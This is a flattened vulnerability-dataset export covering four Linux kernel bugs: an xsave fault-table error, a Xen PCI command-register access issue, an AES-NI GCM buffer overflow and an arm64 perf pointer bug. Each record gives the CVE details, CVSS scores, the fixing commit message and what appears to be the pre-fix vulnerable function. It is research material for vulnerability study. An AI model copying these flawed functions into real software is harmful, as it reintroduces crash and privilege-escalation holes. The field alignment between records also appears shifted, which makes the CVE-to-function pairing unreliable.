[{'lang': 'en', 'value': 'The xsave/xrstor implementation in arch/x86/include/asm/xsave.h in the Linux kernel before 3.19.2 creates certain .altinstr_replacement pointers and consequently does not provide any protection against instruction faulting, which allows local users to cause a denial of service (panic) by triggering a fault, as demonstrated by an unaligned memory operand or a non-canonical address memory operand.'}]
2016-05-06T16:46Z
2016-05-02T10:59Z
Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution. Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.) Input validation can be applied to: raw data - strings, numbers, parameters, file contents, etc. metadata - information about the raw data, such as headers or size Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data. Many properties of raw data or metadata may need to be validated upon entry into the code, such as: specified quantities such as size, length, frequency, price, rate, number of operations, time, etc. implied or derived quantities, such as the actual size of a file instead of a specified size indexes, offsets, or positions into more complex data structures symbolic keys or other elements into hash tables, associative arrays, etc. well-formedness, i.e. syntactic correctness - compliance with expected syntax lexical token correctness - compliance with rules for what is treated as a token specified or derived type - the actual type of the input (or what the input appears to be) consistency - between individual data elements, between raw data and metadata, between references, etc. conformance to domain-specific rules, e.g. business logic equivalence - ensuring that equivalent inputs are treated the same authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation. Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation. Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
https://cwe.mitre.org/data/definitions/20.html
0
Quentin Casasnovas
2015-03-05 13:19:22+01:00
x86/fpu/xsaves: Fix improper uses of __ex_table Commit: f31a9f7c7169 ("x86/xsaves: Use xsaves/xrstors to save and restore xsave area") introduced alternative instructions for XSAVES/XRSTORS and commit: adb9d526e982 ("x86/xsaves: Add xsaves and xrstors support for booting time") added support for the XSAVES/XRSTORS instructions at boot time. Unfortunately both failed to properly protect them against faulting: The 'xstate_fault' macro will use the closest label named '1' backward and that ends up in the .altinstr_replacement section rather than in .text. This means that the kernel will never find in the __ex_table the .text address where this instruction might fault, leading to serious problems if userspace manages to trigger the fault. Signed-off-by: Quentin Casasnovas <[email protected]> Signed-off-by: Jamie Iles <[email protected]> [ Improved the changelog, fixed some whitespace noise. ] Acked-by: Borislav Petkov <[email protected]> Acked-by: Linus Torvalds <[email protected]> Cc: <[email protected]> Cc: Allan Xavier <[email protected]> Cc: H. Peter Anvin <[email protected]> Cc: Thomas Gleixner <[email protected]> Fixes: adb9d526e982 ("x86/xsaves: Add xsaves and xrstors support for booting time") Fixes: f31a9f7c7169 ("x86/xsaves: Use xsaves/xrstors to save and restore xsave area") Signed-off-by: Ingo Molnar <[email protected]>
06c8173eb92bbfc03a0fe8bb64315857d0badd06
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
xsave_state_booting
xsave_state_booting( struct xsave_struct * fx , u64 mask)
['fx', 'mask']
static inline int xsave_state_booting(struct xsave_struct *fx, u64 mask) { u32 lmask = mask; u32 hmask = mask >> 32; int err = 0; WARN_ON(system_state != SYSTEM_BOOTING); if (boot_cpu_has(X86_FEATURE_XSAVES)) asm volatile("1:"XSAVES"\n\t" "2:\n\t" : : "D" (fx), "m" (*fx), "a" (lmask), "d" (hmask) : "memory"); else asm volatile("1:"XSAVE"\n\t" "2:\n\t" : : "D" (fx), "m" (*fx), "a" (lmask), "d" (hmask) : "memory"); asm volatile(xstate_fault : "0" (0) : "memory"); return err; }
127
True
1
CVE-2015-2150
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://xenbits.xen.org/xsa/advisory-120.html', 'name': 'http://xenbits.xen.org/xsa/advisory-120.html', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=af6fc858a35b90e89ea7a7ee58e66628c55c776b', 'name': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=af6fc858a35b90e89ea7a7ee58e66628c55c776b', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/af6fc858a35b90e89ea7a7ee58e66628c55c776b', 'name': 'https://github.com/torvalds/linux/commit/af6fc858a35b90e89ea7a7ee58e66628c55c776b', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1196266', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1196266', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1031902', 'name': '1031902', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1031806', 'name': '1031806', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-March/152747.html', 'name': 'FEDORA-2015-4066', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00001.html', 'name': 'SUSE-SU-2015:0658', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3237', 'name': 'DSA-3237', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-April/155854.html', 'name': 'FEDORA-2015-6320', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-April/155804.html', 'name': 'FEDORA-2015-6294', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-April/155908.html', 'name': 'FEDORA-2015-6100', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2632-1', 'name': 'USN-2632-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2631-1', 'name': 'USN-2631-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-423503.htm', 'name': 'http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-423503.htm', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00021.html', 'name': 'SUSE-SU-2015:1611', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00018.html', 'name': 'SUSE-SU-2015:1592', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/73014', 'name': '73014', 'refsource': 'BID', 'tags': []}, {'url': 'https://seclists.org/bugtraq/2019/Aug/18', 'name': '20190813 [SECURITY] [DSA 4497-1] linux security update', 'refsource': 'BUGTRAQ', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:ubuntu:ubuntu:12.04:*:lts:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.1.5:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.2.2:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.2.3:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:3.4.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.3.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.0.4:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.0.2:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:3.3.2:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.1.2:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:3.4.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:3.4.2:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.1.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:3.4.3:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:3.4.4:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.0.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.1.3:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.1.6.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.2.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.4.0:rc1:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.4.1:-:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.1.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.2.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.5.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:3.3.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:3.3.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.1.4:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.3.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.0.3:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.0.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:4.4.0:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Xen 3.3.x through 4.5.x and the Linux kernel through 3.19.1 do not properly restrict access to PCI command registers, which might allow local guest OS users to cause a denial of service (non-maskable interrupt and host crash) by disabling the (1) memory or (2) I/O decoding for a PCI Express device and then accessing the device, which triggers an Unsupported Request (UR) response.'}]
2018-10-30T16:26Z
2015-03-12T14:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Jan Beulich
2015-03-11 13:51:17+00:00
xen-pciback: limit guest control of command register Otherwise the guest can abuse that control to cause e.g. PCIe Unsupported Request responses by disabling memory and/or I/O decoding and subsequently causing (CPU side) accesses to the respective address ranges, which (depending on system configuration) may be fatal to the host. Note that to alter any of the bits collected together as PCI_COMMAND_GUEST permissive mode is now required to be enabled globally or on the specific device. This is CVE-2015-2150 / XSA-120. Signed-off-by: Jan Beulich <[email protected]> Reviewed-by: Konrad Rzeszutek Wilk <[email protected]> Cc: <[email protected]> Signed-off-by: David Vrabel <[email protected]>
af6fc858a35b90e89ea7a7ee58e66628c55c776b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
command_read
command_read( struct pci_dev * dev , int offset , u16 * value , void * data)
['dev', 'offset', 'value', 'data']
static int command_read(struct pci_dev *dev, int offset, u16 *value, void *data) { int i; int ret; ret = xen_pcibk_read_config_word(dev, offset, value, data); if (!pci_is_enabled(dev)) return ret; for (i = 0; i < PCI_ROM_RESOURCE; i++) { if (dev->resource[i].flags & IORESOURCE_IO) *value |= PCI_COMMAND_IO; if (dev->resource[i].flags & IORESOURCE_MEM) *value |= PCI_COMMAND_MEMORY; } return ret; }
104
True
1
CVE-2015-3331
False
False
False
False
AV:N/AC:M/Au:N/C:C/I:C/A:C
NETWORK
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
9.3
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.3', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1213322', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1213322', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/ccfe8c3f7e52ae83155cb038753f4c75b774ca8a', 'name': 'https://github.com/torvalds/linux/commit/ccfe8c3f7e52ae83155cb038753f4c75b774ca8a', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/04/14/16', 'name': '[oss-security] 20150414 Buffer overruns in Linux kernel RFC4106 implementation using AESNI', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=ccfe8c3f7e52ae83155cb038753f4c75b774ca8a', 'name': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=ccfe8c3f7e52ae83155cb038753f4c75b774ca8a', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032416', 'name': '1032416', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3237', 'name': 'DSA-3237', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1199.html', 'name': 'RHSA-2015:1199', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2631-1', 'name': 'USN-2631-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2632-1', 'name': 'USN-2632-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00011.html', 'name': 'SUSE-SU-2015:1491', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00009.html', 'name': 'SUSE-SU-2015:1489', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00008.html', 'name': 'SUSE-SU-2015:1488', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00007.html', 'name': 'SUSE-SU-2015:1487', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1081.html', 'name': 'RHSA-2015:1081', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The __driver_rfc4106_decrypt function in arch/x86/crypto/aesni-intel_glue.c in the Linux kernel before 3.19.3 does not properly determine the memory locations used for encrypted data, which allows context-dependent attackers to cause a denial of service (buffer overflow and system crash) or possibly execute arbitrary code by triggering a crypto API call, as demonstrated by use of a libkcapi test program with an AF_ALG(aead) socket.'}]
2018-01-05T02:30Z
2015-05-27T10:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Stephan Mueller
2015-03-12 09:17:51+01:00
crypto: aesni - fix memory usage in GCM decryption The kernel crypto API logic requires the caller to provide the length of (ciphertext || authentication tag) as cryptlen for the AEAD decryption operation. Thus, the cipher implementation must calculate the size of the plaintext output itself and cannot simply use cryptlen. The RFC4106 GCM decryption operation tries to overwrite cryptlen memory in req->dst. As the destination buffer for decryption only needs to hold the plaintext memory but cryptlen references the input buffer holding (ciphertext || authentication tag), the assumption of the destination buffer length in RFC4106 GCM operation leads to a too large size. This patch simply uses the already calculated plaintext size. In addition, this patch fixes the offset calculation of the AAD buffer pointer: as mentioned before, cryptlen already includes the size of the tag. Thus, the tag does not need to be added. With the addition, the AAD will be written beyond the already allocated buffer. Note, this fixes a kernel crash that can be triggered from user space via AF_ALG(aead) -- simply use the libkcapi test application from [1] and update it to use rfc4106-gcm-aes. Using [1], the changes were tested using CAVS vectors to demonstrate that the crypto operation still delivers the right results. [1] http://www.chronox.de/libkcapi.html CC: Tadeusz Struk <[email protected]> Cc: [email protected] Signed-off-by: Stephan Mueller <[email protected]> Signed-off-by: Herbert Xu <[email protected]>
ccfe8c3f7e52ae83155cb038753f4c75b774ca8a
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
__driver_rfc4106_decrypt
__driver_rfc4106_decrypt( struct aead_request * req)
['req']
static int __driver_rfc4106_decrypt(struct aead_request *req) { u8 one_entry_in_sg = 0; u8 *src, *dst, *assoc; unsigned long tempCipherLen = 0; __be32 counter = cpu_to_be32(1); int retval = 0; struct crypto_aead *tfm = crypto_aead_reqtfm(req); struct aesni_rfc4106_gcm_ctx *ctx = aesni_rfc4106_gcm_ctx_get(tfm); u32 key_len = ctx->aes_key_expanded.key_length; void *aes_ctx = &(ctx->aes_key_expanded); unsigned long auth_tag_len = crypto_aead_authsize(tfm); u8 iv_and_authTag[32+AESNI_ALIGN]; u8 *iv = (u8 *) PTR_ALIGN((u8 *)iv_and_authTag, AESNI_ALIGN); u8 *authTag = iv + 16; struct scatter_walk src_sg_walk; struct scatter_walk assoc_sg_walk; struct scatter_walk dst_sg_walk; unsigned int i; if (unlikely((req->cryptlen < auth_tag_len) || (req->assoclen != 8 && req->assoclen != 12))) return -EINVAL; if (unlikely(auth_tag_len != 8 && auth_tag_len != 12 && auth_tag_len != 16)) return -EINVAL; if (unlikely(key_len != AES_KEYSIZE_128 && key_len != AES_KEYSIZE_192 && key_len != AES_KEYSIZE_256)) return -EINVAL; /* Assuming we are supporting rfc4106 64-bit extended */ /* sequence numbers We need to have the AAD length */ /* equal to 8 or 12 bytes */ tempCipherLen = (unsigned long)(req->cryptlen - auth_tag_len); /* IV below built */ for (i = 0; i < 4; i++) *(iv+i) = ctx->nonce[i]; for (i = 0; i < 8; i++) *(iv+4+i) = req->iv[i]; *((__be32 *)(iv+12)) = counter; if ((sg_is_last(req->src)) && (sg_is_last(req->assoc))) { one_entry_in_sg = 1; scatterwalk_start(&src_sg_walk, req->src); scatterwalk_start(&assoc_sg_walk, req->assoc); src = scatterwalk_map(&src_sg_walk); assoc = scatterwalk_map(&assoc_sg_walk); dst = src; if (unlikely(req->src != req->dst)) { scatterwalk_start(&dst_sg_walk, req->dst); dst = scatterwalk_map(&dst_sg_walk); } } else { /* Allocate memory for src, dst, assoc */ src = kmalloc(req->cryptlen + req->assoclen, GFP_ATOMIC); if (!src) return -ENOMEM; assoc = (src + req->cryptlen + auth_tag_len); scatterwalk_map_and_copy(src, req->src, 0, req->cryptlen, 0); scatterwalk_map_and_copy(assoc, req->assoc, 0, req->assoclen, 0); dst = src; } aesni_gcm_dec_tfm(aes_ctx, dst, src, tempCipherLen, iv, ctx->hash_subkey, assoc, (unsigned long)req->assoclen, authTag, auth_tag_len); /* Compare generated tag with passed in tag. */ retval = crypto_memneq(src + tempCipherLen, authTag, auth_tag_len) ? -EBADMSG : 0; if (one_entry_in_sg) { if (unlikely(req->src != req->dst)) { scatterwalk_unmap(dst); scatterwalk_done(&dst_sg_walk, 0, 0); } scatterwalk_unmap(src); scatterwalk_unmap(assoc); scatterwalk_done(&src_sg_walk, 0, 0); scatterwalk_done(&assoc_sg_walk, 0, 0); } else { scatterwalk_map_and_copy(dst, req->dst, 0, req->cryptlen, 1); kfree(src); } return retval; }
620
True
1
CVE-2015-8955
False
False
False
True
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
LOCAL
LOW
LOW
REQUIRED
UNCHANGED
HIGH
HIGH
HIGH
7.3
HIGH
1.3
5.9
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8fff105e13041e49b82f92eef034f363a6b1c071', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8fff105e13041e49b82f92eef034f363a6b1c071', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'https://github.com/torvalds/linux/commit/8fff105e13041e49b82f92eef034f363a6b1c071', 'name': 'https://github.com/torvalds/linux/commit/8fff105e13041e49b82f92eef034f363a6b1c071', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Third Party Advisory']}, {'url': 'http://source.android.com/security/bulletin/2016-10-01.html', 'name': 'http://source.android.com/security/bulletin/2016-10-01.html', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/93314', 'name': '93314', 'refsource': 'BID', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.9', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'arch/arm64/kernel/perf_event.c in the Linux kernel before 4.1 on arm64 platforms allows local users to gain privileges or cause a denial of service (invalid pointer dereference) via vectors involving events that are mishandled during a span of multiple HW PMUs.'}]
2016-11-28T19:50Z
2016-10-10T10:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Suzuki K. Poulose
2015-03-17 18:14:59+00:00
arm64: perf: reject groups spanning multiple HW PMUs The perf core implicitly rejects events spanning multiple HW PMUs, as in these cases the event->ctx will differ. However this validation is performed after pmu::event_init() is called in perf_init_event(), and thus pmu::event_init() may be called with a group leader from a different HW PMU. The ARM64 PMU driver does not take this fact into account, and when validating groups assumes that it can call to_arm_pmu(event->pmu) for any HW event. When the event in question is from another HW PMU this is wrong, and results in dereferencing garbage. This patch updates the ARM64 PMU driver to first test for and reject events from other PMUs, moving the to_arm_pmu and related logic after this test. Fixes a crash triggered by perf_fuzzer on Linux-4.0-rc2, with a CCI PMU present: Bad mode in Synchronous Abort handler detected, code 0x86000006 -- IABT (current EL) CPU: 0 PID: 1371 Comm: perf_fuzzer Not tainted 3.19.0+ #249 Hardware name: V2F-1XV7 Cortex-A53x2 SMM (DT) task: ffffffc07c73a280 ti: ffffffc07b0a0000 task.ti: ffffffc07b0a0000 PC is at 0x0 LR is at validate_event+0x90/0xa8 pc : [<0000000000000000>] lr : [<ffffffc000090228>] pstate: 00000145 sp : ffffffc07b0a3ba0 [< (null)>] (null) [<ffffffc0000907d8>] armpmu_event_init+0x174/0x3cc [<ffffffc00015d870>] perf_try_init_event+0x34/0x70 [<ffffffc000164094>] perf_init_event+0xe0/0x10c [<ffffffc000164348>] perf_event_alloc+0x288/0x358 [<ffffffc000164c5c>] SyS_perf_event_open+0x464/0x98c Code: bad PC value Also cleans up the code to use the arm_pmu only when we know that we are dealing with an arm pmu event. Cc: Will Deacon <[email protected]> Acked-by: Mark Rutland <[email protected]> Acked-by: Peter Ziljstra (Intel) <[email protected]> Signed-off-by: Suzuki K. Poulose <[email protected]> Signed-off-by: Will Deacon <[email protected]>
8fff105e13041e49b82f92eef034f363a6b1c071
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
validate_event
validate_event( struct pmu_hw_events * hw_events , struct perf_event * event)
['hw_events', 'event']
validate_event(struct pmu_hw_events *hw_events, struct perf_event *event) { struct arm_pmu *armpmu = to_arm_pmu(event->pmu); struct hw_perf_event fake_event = event->hw; struct pmu *leader_pmu = event->group_leader->pmu; if (is_software_event(event)) return 1; if (event->pmu != leader_pmu || event->state < PERF_EVENT_STATE_OFF) return 1; if (event->state == PERF_EVENT_STATE_OFF && !event->attr.enable_on_exec) return 1; return armpmu->get_event_idx(hw_events, &fake_event) >= 0; }
103
True
1
CVE-2015-8955
False
False
False
True
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
LOCAL
LOW
LOW
REQUIRED
UNCHANGED
HIGH
HIGH
HIGH
7.3
HIGH
1.3
5.9
nan
